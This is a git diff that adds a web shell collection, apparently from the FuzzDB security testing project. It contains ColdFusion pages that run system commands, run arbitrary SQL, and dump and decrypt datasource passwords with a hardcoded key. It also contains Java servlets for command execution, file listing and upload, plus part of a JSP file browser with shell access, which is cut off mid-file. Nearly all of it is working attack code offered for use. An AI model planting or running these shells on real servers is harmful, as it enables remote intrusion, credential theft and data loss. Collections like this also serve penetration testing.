    Timeout: value="#form.timeout#" + value="5">
    + + + + + + + + +

    +#HTMLCodeFormat(myVar)#
    +
    + + + +//The following code borrowed from hernanOchoa @hexale (thx) +//added better formatting on output and connection string [lb] + +// Create Data Source Object +dataSourceObb=createobject("java","coldfusion.server.ServiceFactory"). + getDatasourceService().getDatasources(); + writeoutput("

    Datasource Credentials:
    "); + writeoutput(""); +// Loop Through DataSources +for(i in dataSourceObb) { + if(len(dataSourceObb[i]["password"])){ + + // Get url + theurl=(dataSourceObb[i]["url"]); + + // Get username + username=(dataSourceObb[i]["username"]); + + // Get and decrypt password + decryptPassword=Decrypt(dataSourceObb[i]["password"], + generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", + "Base64"); + + // Output datasource usernames, passwords, and urls + writeoutput("" & + "" & + "" & + ""); + } +} +writeoutput("
    DataSource: " & i & "Username: " & username & "Password: " & decryptPassword & + "URL: " & theurl & "

    "); +
    + + + + + \ No newline at end of file diff --git a/fuzzdb-webshell/cfm/cfSQL.cfm b/fuzzdb-webshell/cfm/cfSQL.cfm new file mode 100644 index 0000000..f7a196a --- /dev/null +++ b/fuzzdb-webshell/cfm/cfSQL.cfm @@ -0,0 +1,64 @@ + + + + + + + + +

    Notes:

    +
      +
    • Select the database you want to use
    • +
    • Write SQL statements in the text box
    • +
    + +
    +

    SQL Interface:

    +Datasource
    + + +
    +SQL
    + +
    + +
    + + + + #Form.sql# + + + + + + + + + + + + + + + + + + + + + +
    #column#
    #runsql[column][row]#
    + + + + + \ No newline at end of file diff --git a/fuzzdb-webshell/cfm/cmd.cfm b/fuzzdb-webshell/cfm/cmd.cfm new file mode 100644 index 0000000..235a3eb --- /dev/null +++ b/fuzzdb-webshell/cfm/cmd.cfm @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + +
    Command: < input type=text name="cmd" size=50 value="#form.cmd#" > < br>
    Options: < input type=text name="opts" size=50 value="#form.opts#" >< br>
    Timeout:< input type=text name="timeout" size=4 value="#form.timeout#" value="5" >
    + + + + + + + +
    +#myVar#
    +
    +
    + + \ No newline at end of file diff --git a/fuzzdb-webshell/jsp/CmdServlet.class b/fuzzdb-webshell/jsp/CmdServlet.class new file mode 100644 index 0000000..4afd7f1 Binary files /dev/null and b/fuzzdb-webshell/jsp/CmdServlet.class differ diff --git a/fuzzdb-webshell/jsp/CmdServlet.java b/fuzzdb-webshell/jsp/CmdServlet.java new file mode 100644 index 0000000..f9cb31a --- /dev/null +++ b/fuzzdb-webshell/jsp/CmdServlet.java @@ -0,0 +1,43 @@ +/* + * CmdServlet.java 20/01/2004 + * + * @author The Dark Raver + * @version 0.1 + */ + +import java.io.*; +import javax.servlet.*; +import javax.servlet.http.*; + + +public class CmdServlet extends HttpServlet { + + public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + res.setContentType("text/html"); + + PrintWriter out = res.getWriter(); + out.print(""); + out.print("

    "); + out.print(""); + out.print(""); + out.print("
    "); + + if(req.getParameter("cmd") != null) { + out.print("\n

    Command: " + req.getParameter("cmd") + "\n


    \n");
    +	        Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd"));
    +	        DataInputStream procIn = new DataInputStream(p.getInputStream());
    +			int c='\0';
    +        	while ((c=procIn.read()) != -1) {
    +				out.print((char)c);
    +				}
    +	        }
    +
    +		out.print("\n
    "); + out.print(""); + } + + public String getServletInfo() { + return "CmdServlet 0.1"; + } + +} diff --git a/fuzzdb-webshell/jsp/ListServlet.class b/fuzzdb-webshell/jsp/ListServlet.class new file mode 100644 index 0000000..b816179 Binary files /dev/null and b/fuzzdb-webshell/jsp/ListServlet.class differ diff --git a/fuzzdb-webshell/jsp/ListServlet.java b/fuzzdb-webshell/jsp/ListServlet.java new file mode 100644 index 0000000..1d97304 --- /dev/null +++ b/fuzzdb-webshell/jsp/ListServlet.java @@ -0,0 +1,86 @@ +/* + * ListServlet.java + * + * @author Sierra + * @version 0.1 + */ + +import java.io.*; +import javax.servlet.ServletException; +import javax.servlet.http.*; + +public class ListServlet extends HttpServlet +{ + + + public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + PrintWriter printwriter = res.getWriter(); + String path = req.getParameter("file"); + + printwriter.write("\n\nDirectory Listing\n\n\n"); + printwriter.write("\n"); + if(req.getParameter("file")==null) path = "c:\\"; + printwriter.write("

    Path: " + path + "


    \n");
    +
    +		File file = new File(path);
    +
    +		if(file.isDirectory())
    +		{
    +			String s = new String("Unknown");
    +			String s2 = new String("Black");
    +			File afile[] = file.listFiles();
    +			for(int i = 0; i < afile.length; i++)
    +			{
    +				String s1 = new String(afile[i].toString());
    +				printwriter.write("(");
    +				String s3;
    +				if(afile[i].isDirectory())
    +				{
    +					printwriter.write("d");
    +					s1 = s1 + "/";
    +					s3 = new String("Blue");
    +				} else
    +				if(afile[i].isFile())
    +				{
    +					printwriter.write("-");
    +					s3 = new String("Green");
    +				} else
    +				{
    +					printwriter.write("?");
    +					s3 = new String("Red");
    +				}
    +				if(afile[i].canRead())
    +					printwriter.write("r");
    +				else
    +					printwriter.write("-");
    +				if(afile[i].canWrite())
    +					printwriter.write("w");
    +				else
    +					printwriter.write("-");
    +				printwriter.write(") " + s1.toString() + " " + "( Size: " + afile[i].length() + " bytes )
    \n"); + } + + printwriter.write("
    "); + } else + if(file.canRead()) + { + FileInputStream fileinputstream = new FileInputStream(file); + int j = 0; + while(j >= 0) + { + j = fileinputstream.read(); + printwriter.write(j); + } + fileinputstream.close(); + } else + { + printwriter.write("Can't Read file
    "); + } + + } + + + public String getServletInfo() { + return "Directory Listing"; + } +} \ No newline at end of file diff --git a/fuzzdb-webshell/jsp/UpServlet.class b/fuzzdb-webshell/jsp/UpServlet.class new file mode 100644 index 0000000..fef990e Binary files /dev/null and b/fuzzdb-webshell/jsp/UpServlet.class differ diff --git a/fuzzdb-webshell/jsp/UpServlet.java b/fuzzdb-webshell/jsp/UpServlet.java new file mode 100644 index 0000000..4936667 --- /dev/null +++ b/fuzzdb-webshell/jsp/UpServlet.java @@ -0,0 +1,71 @@ +/* + * UpServlet.java 29/04/2005 + * + * @author The Dark Raver + * @version 0.1 + */ + +import java.io.*; +import javax.servlet.*; +import javax.servlet.http.*; + + +public class UpServlet extends HttpServlet { + + public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + res.setContentType("text/html"); + PrintWriter out = res.getWriter(); + out.print(""); + out.print("
    "); + out.print("UPLOAD "); + out.print(""); + out.print("
    "); + out.print(""); + } + + + public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + String tag = new String(); + int c = '\0'; + int contador = 0; + ServletInputStream in = req.getInputStream(); + DataInputStream post = new DataInputStream(in); + + PrintWriter out = res.getWriter(); + res.setContentType("text/html"); + out.print("
    ");
    +
    +		while((c=post.read()) != -1 && c != '\r' && c != '\n') {
    +			tag=tag.concat("" + (char)c);
    +			contador++;
    +			}
    +
    +		for(int i=0; i <4; i++) while((c=post.read()) != -1 && c != '\n') contador++;
    +
    +		// out.print("CONTENT_LEN = " + req.getContentLength() + " / TAG = [" + tag + "] / TAG_LEN = " + tag.length() + "\n");
    +		// out.print("CONTADOR = " + contador + " / FILE_LEN = " + (req.getContentLength() - tag.length() - contador - 11) + " ==>");
    +
    +		// (!) Uploaded File Name
    +
    +		File newfile = new File("c:\\install.log");
    +
    +		/////////////////////////
    +
    +		FileOutputStream fileout = new FileOutputStream(newfile);
    +
    +		for(int i=0; i < req.getContentLength() - tag.length() - contador - 11; i++) {
    +			c=post.read();
    +			fileout.write((char)c);
    +			}
    +
    +		fileout.close();
    +		out.print("<== OK");
    +
    +    }
    +
    +
    +    public String getServletInfo() {
    +		return "UpServlet 0.1";
    +    }
    +
    +}
    \ No newline at end of file
    diff --git a/fuzzdb-webshell/jsp/browser.jsp b/fuzzdb-webshell/jsp/browser.jsp
    new file mode 100644
    index 0000000..7d85dc8
    --- /dev/null
    +++ b/fuzzdb-webshell/jsp/browser.jsp
    @@ -0,0 +1,1802 @@
    +<%--
    +	jsp File browser 1.1a
    +	Copyright (C) 2003,2004, Boris von Loesch
    +	This program is free software; you can redistribute it and/or modify it under
    +	the terms of the GNU General Public License as published by the
    +	Free Software Foundation; either version 2 of the License, or (at your option)
    +	any later version.
    +	This program is distributed in the hope that it will be useful, but
    +	WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
    +	FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
    +	You should have received a copy of the GNU General Public License along with
    +	this program; if not, write to the
    +	Free Software Foundation, Inc.,
    +	59 Temple Place, Suite 330,
    +	Boston, MA 02111-1307 USA
    +	- Description: jsp File browser v1.1a -- This JSP program allows remote web-based
    +				file access and manipulation.  You can copy, create, move and delete files.
    +				Text files can be edited and groups of files and folders can be downloaded
    +				as a single zip file that's created on the fly.
    +	- Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
    +--%>
    +<%@page import="java.util.*,
    +                java.net.*,
    +                java.text.*,
    +                java.util.zip.*,
    +                java.io.*"
    +%>
    +<%!
    +    //FEATURES
    +    private static final boolean NATIVE_COMMANDS = true;
    +
    +    //Allow browsing and file manipulation only in certain directories
    +	private static final boolean RESTRICT_BROWSING = false;
    +    //If true, the user is allowed to browse only in RESTRICT_PATH,
    +    //if false, the user is allowed to browse all directories besides RESTRICT_PATH
    +    private static final boolean RESTRICT_WHITELIST = false;
    +    //Paths, sperated by semicolon
    +    //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!!
    +	private static final String RESTRICT_PATH = "/etc;/var";
    +
    +    //The refresh time in seconds of the upload monitor window
    +	private static final int UPLOAD_MONITOR_REFRESH = 2;
    +	//The number of colums for the edit field
    +	private static final int EDITFIELD_COLS = 85;
    +	//The number of rows for the edit field
    +	private static final int EDITFIELD_ROWS = 30;
    +	//Open a new window to view a file
    +	private static final boolean USE_POPUP = true;
    +	/**
    +	 * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be
    +	 * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries.
    +	 * This can yield to performance issues. Turn it of, if the directory loads to slow.
    +	 */
    +	private static final boolean USE_DIR_PREVIEW = true;
    +	private static final int DIR_PREVIEW_NUMBER = 10;
    +	/**
    +	 * The name of an optional CSS Stylesheet file
    +	 */
    +	private static final String CSS_NAME = "Browser.css";
    +	/**
    +	 * The compression level for zip file creation (0-9)
    +	 * 0 = No compression
    +	 * 1 = Standard compression (Very fast)
    +	 * ...
    +	 * 9 = Best compression (Very slow)
    +	 */
    +	private static final int COMPRESSION_LEVEL = 1;
    +	/**
    +	 * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the
    +	 * server runs on a windows platform, to avoid a message box, if you try to access
    +	 * an empty removable drive (See KNOWN BUGS in Readme.txt).
    +	 */
    +	private static final String[] FORBIDDEN_DRIVES = {"a:\\"};
    +
    +	/**
    +	 * Command of the shell interpreter and the parameter to run a programm
    +	 */
    +	private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
    +	//private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; 	// Unix
    +
    +	/**
    +	 * Max time in ms a process is allowed to run, before it will be terminated
    +	 */
    +	private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds
    +
    +	//Button names
    +	private static final String SAVE_AS_ZIP = "Download selected files as zip";
    +	private static final String RENAME_FILE = "Rename File";
    +	private static final String DELETE_FILES = "Delete selected files";
    +	private static final String CREATE_DIR = "Create Dir";
    +	private static final String CREATE_FILE = "Create File";
    +	private static final String MOVE_FILES = "Move Files";
    +	private static final String COPY_FILES = "Copy Files";
    +
    +	//Normally you should not change anything after this line
    +	//----------------------------------------------------------------------------------
    +	//Change this to locate the tempfile directory for upload (not longer needed)
    +	private static String tempdir = ".";
    +	private static String VERSION_NR = "1.1a";
    +	private static DateFormat dateFormat = DateFormat.getDateTimeInstance();
    +
    +	public class UplInfo {
    +
    +		public long totalSize;
    +		public long currSize;
    +		public long starttime;
    +		public boolean aborted;
    +
    +		public UplInfo() {
    +			totalSize = 0l;
    +			currSize = 0l;
    +			starttime = System.currentTimeMillis();
    +			aborted = false;
    +		}
    +
    +		public UplInfo(int size) {
    +			totalSize = size;
    +			currSize = 0;
    +			starttime = System.currentTimeMillis();
    +			aborted = false;
    +		}
    +
    +		public String getUprate() {
    +			long time = System.currentTimeMillis() - starttime;
    +			if (time != 0) {
    +				long uprate = currSize * 1000 / time;
    +				return convertFileSize(uprate) + "/s";
    +			}
    +			else return "n/a";
    +		}
    +
    +		public int getPercent() {
    +			if (totalSize == 0) return 0;
    +			else return (int) (currSize * 100 / totalSize);
    +		}
    +
    +		public String getTimeElapsed() {
    +			long time = (System.currentTimeMillis() - starttime) / 1000l;
    +			if (time - 60l >= 0){
    +				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    +				else return time / 60 + ":0" + (time % 60) + "m";
    +			}
    +			else return time<10 ? "0" + time + "s": time + "s";
    +		}
    +
    +		public String getTimeEstimated() {
    +			if (currSize == 0) return "n/a";
    +			long time = System.currentTimeMillis() - starttime;
    +			time = totalSize * time / currSize;
    +			time /= 1000l;
    +			if (time - 60l >= 0){
    +				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    +				else return time / 60 + ":0" + (time % 60) + "m";
    +			}
    +			else return time<10 ? "0" + time + "s": time + "s";
    +		}
    +
    +	}
    +
    +	public class FileInfo {
    +
    +		public String name = null, clientFileName = null, fileContentType = null;
    +		private byte[] fileContents = null;
    +		public File file = null;
    +		public StringBuffer sb = new StringBuffer(100);
    +
    +		public void setFileContents(byte[] aByteArray) {
    +			fileContents = new byte[aByteArray.length];
    +			System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
    +		}
    +	}
    +
    +	public static class UploadMonitor {
    +
    +		static Hashtable uploadTable = new Hashtable();
    +
    +		static void set(String fName, UplInfo info) {
    +			uploadTable.put(fName, info);
    +		}
    +
    +		static void remove(String fName) {
    +			uploadTable.remove(fName);
    +		}
    +
    +		static UplInfo getInfo(String fName) {
    +			UplInfo info = (UplInfo) uploadTable.get(fName);
    +			return info;
    +		}
    +	}
    +
    +	// A Class with methods used to process a ServletInputStream
    +	public class HttpMultiPartParser {
    +
    +		private final String lineSeparator = System.getProperty("line.separator", "\n");
    +		private final int ONE_MB = 1024 * 1;
    +
    +		public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
    +				int clength) throws IllegalArgumentException, IOException {
    +			if (is == null) throw new IllegalArgumentException("InputStream");
    +			if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
    +					"\"" + boundary + "\" is an illegal boundary indicator");
    +			boundary = "--" + boundary;
    +			StringTokenizer stLine = null, stFields = null;
    +			FileInfo fileInfo = null;
    +			Hashtable dataTable = new Hashtable(5);
    +			String line = null, field = null, paramName = null;
    +			boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
    +			boolean isFile = false;
    +			if (saveFiles) { // Create the required directory (including parent dirs)
    +				File f = new File(saveInDir);
    +				f.mkdirs();
    +			}
    +			line = getLine(is);
    +			if (line == null || !line.startsWith(boundary)) throw new IOException(
    +					"Boundary not found; boundary = " + boundary + ", line = " + line);
    +			while (line != null) {
    +				if (line == null || !line.startsWith(boundary)) return dataTable;
    +				line = getLine(is);
    +				if (line == null) return dataTable;
    +				stLine = new StringTokenizer(line, ";\r\n");
    +				if (stLine.countTokens() < 2) throw new IllegalArgumentException(
    +						"Bad data in second line");
    +				line = stLine.nextToken().toLowerCase();
    +				if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
    +						"Bad data in second line");
    +				stFields = new StringTokenizer(stLine.nextToken(), "=\"");
    +				if (stFields.countTokens() < 2) throw new IllegalArgumentException(
    +						"Bad data in second line");
    +				fileInfo = new FileInfo();
    +				stFields.nextToken();
    +				paramName = stFields.nextToken();
    +				isFile = false;
    +				if (stLine.hasMoreTokens()) {
    +					field = stLine.nextToken();
    +					stFields = new StringTokenizer(field, "=\"");
    +					if (stFields.countTokens() > 1) {
    +						if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
    +							fileInfo.name = paramName;
    +							String value = stFields.nextToken();
    +							if (value != null && value.trim().length() > 0) {
    +								fileInfo.clientFileName = value;
    +								isFile = true;
    +							}
    +							else {
    +								line = getLine(is); // Skip "Content-Type:" line
    +								line = getLine(is); // Skip blank line
    +								line = getLine(is); // Skip blank line
    +								line = getLine(is); // Position to boundary line
    +								continue;
    +							}
    +						}
    +					}
    +					else if (field.toLowerCase().indexOf("filename") >= 0) {
    +						line = getLine(is); // Skip "Content-Type:" line
    +						line = getLine(is); // Skip blank line
    +						line = getLine(is); // Skip blank line
    +						line = getLine(is); // Position to boundary line
    +						continue;
    +					}
    +				}
    +				boolean skipBlankLine = true;
    +				if (isFile) {
    +					line = getLine(is);
    +					if (line == null) return dataTable;
    +					if (line.trim().length() < 1) skipBlankLine = false;
    +					else {
    +						stLine = new StringTokenizer(line, ": ");
    +						if (stLine.countTokens() < 2) throw new IllegalArgumentException(
    +								"Bad data in third line");
    +						stLine.nextToken(); // Content-Type
    +						fileInfo.fileContentType = stLine.nextToken();
    +					}
    +				}
    +				if (skipBlankLine) {
    +					line = getLine(is);
    +					if (line == null) return dataTable;
    +				}
    +				if (!isFile) {
    +					line = getLine(is);
    +					if (line == null) return dataTable;
    +					dataTable.put(paramName, line);
    +					// If parameter is dir, change saveInDir to dir
    +					if (paramName.equals("dir")) saveInDir = line;
    +					line = getLine(is);
    +					continue;
    +				}
    +				try {
    +					UplInfo uplInfo = new UplInfo(clength);
    +					UploadMonitor.set(fileInfo.clientFileName, uplInfo);
    +					OutputStream os = null;
    +					String path = null;
    +					if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
    +							fileInfo.clientFileName));
    +					else os = new ByteArrayOutputStream(ONE_MB);
    +					boolean readingContent = true;
    +					byte previousLine[] = new byte[2 * ONE_MB];
    +					byte temp[] = null;
    +					byte currentLine[] = new byte[2 * ONE_MB];
    +					int read, read3;
    +					if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
    +						line = null;
    +						break;
    +					}
    +					while (readingContent) {
    +						if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
    +							line = null;
    +							uplInfo.aborted = true;
    +							break;
    +						}
    +						if (compareBoundary(boundary, currentLine)) {
    +							os.write(previousLine, 0, read - 2);
    +							line = new String(currentLine, 0, read3);
    +							break;
    +						}
    +						else {
    +							os.write(previousLine, 0, read);
    +							uplInfo.currSize += read;
    +							temp = currentLine;
    +							currentLine = previousLine;
    +							previousLine = temp;
    +							read = read3;
    +						}//end else
    +					}//end while
    +					os.flush();
    +					os.close();
    +					if (!saveFiles) {
    +						ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
    +						fileInfo.setFileContents(baos.toByteArray());
    +					}
    +					else fileInfo.file = new File(path);
    +					dataTable.put(paramName, fileInfo);
    +					uplInfo.currSize = uplInfo.totalSize;
    +				}//end try
    +				catch (IOException e) {
    +					throw e;
    +				}
    +			}
    +			return dataTable;
    +		}
    +
    +		/**
    +		 * Compares boundary string to byte array
    +		 */
    +		private boolean compareBoundary(String boundary, byte ba[]) {
    +			byte b;
    +			if (boundary == null || ba == null) return false;
    +			for (int i = 0; i < boundary.length(); i++)
    +				if ((byte) boundary.charAt(i) != ba[i]) return false;
    +			return true;
    +		}
    +
    +		/** Convenience method to read HTTP header lines */
    +		private synchronized String getLine(ServletInputStream sis) throws IOException {
    +			byte b[] = new byte[1024];
    +			int read = sis.readLine(b, 0, b.length), index;
    +			String line = null;
    +			if (read != -1) {
    +				line = new String(b, 0, read);
    +				if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
    +			}
    +			return line;
    +		}
    +
    +		public String getFileName(String dir, String fileName) throws IllegalArgumentException {
    +			String path = null;
    +			if (dir == null || fileName == null) throw new IllegalArgumentException(
    +					"dir or fileName is null");
    +			int index = fileName.lastIndexOf('/');
    +			String name = null;
    +			if (index >= 0) name = fileName.substring(index + 1);
    +			else name = fileName;
    +			index = name.lastIndexOf('\\');
    +			if (index >= 0) fileName = name.substring(index + 1);
    +			path = dir + File.separator + fileName;
    +			if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
    +			else return path.replace('/', File.separatorChar);
    +		}
    +	} //End of class HttpMultiPartParser
    +
    +	/**
    +	 * This class is a comparator to sort the filenames and dirs
    +	 */
    +	class FileComp implements Comparator {
    +
    +		int mode;
    +		int sign;
    +
    +		FileComp() {
    +			this.mode = 1;
    +			this.sign = 1;
    +		}
    +
    +		/**
    +		 * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type
    +		 * The default sorting method is by Name
    +		 * Negative mode means descending sort
    +		 */
    +		FileComp(int mode) {
    +			if (mode < 0) {
    +				this.mode = -mode;
    +				sign = -1;
    +			}
    +			else {
    +				this.mode = mode;
    +				this.sign = 1;
    +			}
    +		}
    +
    +		public int compare(Object o1, Object o2) {
    +			File f1 = (File) o1;
    +			File f2 = (File) o2;
    +			if (f1.isDirectory()) {
    +				if (f2.isDirectory()) {
    +					switch (mode) {
    +					//Filename or Type
    +					case 1:
    +					case 4:
    +						return sign
    +								* f1.getAbsolutePath().toUpperCase().compareTo(
    +										f2.getAbsolutePath().toUpperCase());
    +					//Filesize
    +					case 2:
    +						return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
    +					//Date
    +					case 3:
    +						return sign
    +								* (new Long(f1.lastModified())
    +										.compareTo(new Long(f2.lastModified())));
    +					default:
    +						return 1;
    +					}
    +				}
    +				else return -1;
    +			}
    +			else if (f2.isDirectory()) return 1;
    +			else {
    +				switch (mode) {
    +				case 1:
    +					return sign
    +							* f1.getAbsolutePath().toUpperCase().compareTo(
    +									f2.getAbsolutePath().toUpperCase());
    +				case 2:
    +					return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
    +				case 3:
    +					return sign
    +							* (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())));
    +				case 4: { // Sort by extension
    +					int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.');
    +					int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.');
    +					if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension
    +						return sign
    +								* f1.getAbsolutePath().toUpperCase().compareTo(
    +										f2.getAbsolutePath().toUpperCase());
    +					}
    +					// f1 has no extension
    +					else if (tempIndexf1 == -1) return -sign;
    +					// f2 has no extension
    +					else if (tempIndexf2 == -1) return sign;
    +					// Both have an extension
    +					else {
    +						String tempEndf1 = f1.getAbsolutePath().toUpperCase()
    +								.substring(tempIndexf1);
    +						String tempEndf2 = f2.getAbsolutePath().toUpperCase()
    +								.substring(tempIndexf2);
    +						return sign * tempEndf1.compareTo(tempEndf2);
    +					}
    +				}
    +				default:
    +					return 1;
    +				}
    +			}
    +		}
    +	}
    +
    +	/**
    +	 * Wrapperclass to wrap an OutputStream around a Writer
    +	 */
    +	class Writer2Stream extends OutputStream {
    +
    +		Writer out;
    +
    +		Writer2Stream(Writer w) {
    +			super();
    +			out = w;
    +		}
    +
    +		public void write(int i) throws IOException {
    +			out.write(i);
    +		}
    +
    +		public void write(byte[] b) throws IOException {
    +			for (int i = 0; i < b.length; i++) {
    +				int n = b[i];
    +				//Convert byte to ubyte
    +				n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
    +				out.write(n);
    +			}
    +		}
    +
    +		public void write(byte[] b, int off, int len) throws IOException {
    +			for (int i = off; i < off + len; i++) {
    +				int n = b[i];
    +				n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
    +				out.write(n);
    +			}
    +		}
    +	} //End of class Writer2Stream
    +
    +	static Vector expandFileList(String[] files, boolean inclDirs) {
    +		Vector v = new Vector();
    +		if (files == null) return v;
    +		for (int i = 0; i < files.length; i++)
    +			v.add(new File(URLDecoder.decode(files[i])));
    +		for (int i = 0; i < v.size(); i++) {
    +			File f = (File) v.get(i);
    +			if (f.isDirectory()) {
    +				File[] fs = f.listFiles();
    +				for (int n = 0; n < fs.length; n++)
    +					v.add(fs[n]);
    +				if (!inclDirs) {
    +					v.remove(i);
    +					i--;
    +				}
    +			}
    +		}
    +		return v;
    +	}
    +
    +	/**
    +	 * Method to build an absolute path
    +	 * @param dir the root dir
    +	 * @param name the name of the new directory
    +	 * @return if name is an absolute directory, returns name, else returns dir+name
    +	 */
    +	static String getDir(String dir, String name) {
    +		if (!dir.endsWith(File.separator)) dir = dir + File.separator;
    +		File mv = new File(name);
    +		String new_dir = null;
    +		if (!mv.isAbsolute()) {
    +			new_dir = dir + name;
    +		}
    +		else new_dir = name;
    +		return new_dir;
    +	}
    +
    +	/**
    +	 * This Method converts a byte size in a kbytes or Mbytes size, depending on the size
    +	 *     @param size The size in bytes
    +	 *     @return String with size and unit
    +	 */
    +	static String convertFileSize(long size) {
    +		int divisor = 1;
    +		String unit = "bytes";
    +		if (size >= 1024 * 1024) {
    +			divisor = 1024 * 1024;
    +			unit = "MB";
    +		}
    +		else if (size >= 1024) {
    +			divisor = 1024;
    +			unit = "KB";
    +		}
    +		if (divisor == 1) return size / divisor + " " + unit;
    +		String aftercomma = "" + 100 * (size % divisor) / divisor;
    +		if (aftercomma.length() == 1) aftercomma = "0" + aftercomma;
    +		return size / divisor + "." + aftercomma + " " + unit;
    +	}
    +
    +	/**
    +	 * Copies all data from in to out
    +	 * 	@param in the input stream
    +	 *	@param out the output stream
    +	 *	@param buffer copy buffer
    +	 */
    +	static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException {
    +		copyStreamsWithoutClose(in, out, buffer);
    +		in.close();
    +		out.close();
    +	}
    +
    +	/**
    +	 * Copies all data from in to out
    +	 * 	@param in the input stream
    +	 *	@param out the output stream
    +	 *	@param buffer copy buffer
    +	 */
    +	static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer)
    +			throws IOException {
    +		int b;
    +		while ((b = in.read(buffer)) != -1)
    +			out.write(buffer, 0, b);
    +	}
    +
    +	/**
    +	 * Returns the Mime Type of the file, depending on the extension of the filename
    +	 */
    +	static String getMimeType(String fName) {
    +		fName = fName.toLowerCase();
    +		if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg";
    +		else if (fName.endsWith(".gif")) return "image/gif";
    +		else if (fName.endsWith(".pdf")) return "application/pdf";
    +		else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html";
    +		else if (fName.endsWith(".avi")) return "video/x-msvideo";
    +		else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime";
    +		else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg";
    +		else if (fName.endsWith(".zip")) return "application/zip";
    +		else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff";
    +		else if (fName.endsWith(".rtf")) return "application/rtf";
    +		else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi";
    +		else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv")
    +				|| fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt")
    +				|| fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel";
    +		else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword";
    +		else if (fName.endsWith(".png")) return "image/png";
    +		else if (fName.endsWith(".xml")) return "text/xml";
    +		else if (fName.endsWith(".svg")) return "image/svg+xml";
    +		else if (fName.endsWith(".mp3")) return "audio/mp3";
    +		else if (fName.endsWith(".ogg")) return "audio/ogg";
    +		else return "text/plain";
    +	}
    +
    +	/**
    +	 * Converts some important chars (int) to the corresponding html string
    +	 */
    +	static String conv2Html(int i) {
    +		if (i == '&') return "&";
    +		else if (i == '<') return "<";
    +		else if (i == '>') return ">";
    +		else if (i == '"') return """;
    +		else return "" + (char) i;
    +	}
    +
    +	/**
    +	 * Converts a normal string to a html conform string
    +	 */
    +	static String conv2Html(String st) {
    +		StringBuffer buf = new StringBuffer();
    +		for (int i = 0; i < st.length(); i++) {
    +			buf.append(conv2Html(st.charAt(i)));
    +		}
    +		return buf.toString();
    +	}
    +
    +	/**
    +	 * Starts a native process on the server
    +	 * 	@param command the command to start the process
    +	 *	@param dir the dir in which the process starts
    +	 */
    +	static String startProcess(String command, String dir) throws IOException {
    +		StringBuffer ret = new StringBuffer();
    +		String[] comm = new String[3];
    +		comm[0] = COMMAND_INTERPRETER[0];
    +		comm[1] = COMMAND_INTERPRETER[1];
    +		comm[2] = command;
    +		long start = System.currentTimeMillis();
    +		try {
    +			//Start process
    +			Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
    +			//Get input and error streams
    +			BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
    +			BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
    +			boolean end = false;
    +			while (!end) {
    +				int c = 0;
    +				while ((ls_err.available() > 0) && (++c <= 1000)) {
    +					ret.append(conv2Html(ls_err.read()));
    +				}
    +				c = 0;
    +				while ((ls_in.available() > 0) && (++c <= 1000)) {
    +					ret.append(conv2Html(ls_in.read()));
    +				}
    +				try {
    +					ls_proc.exitValue();
    +					//if the process has not finished, an exception is thrown
    +					//else
    +					while (ls_err.available() > 0)
    +						ret.append(conv2Html(ls_err.read()));
    +					while (ls_in.available() > 0)
    +						ret.append(conv2Html(ls_in.read()));
    +					end = true;
    +				}
    +				catch (IllegalThreadStateException ex) {
    +					//Process is running
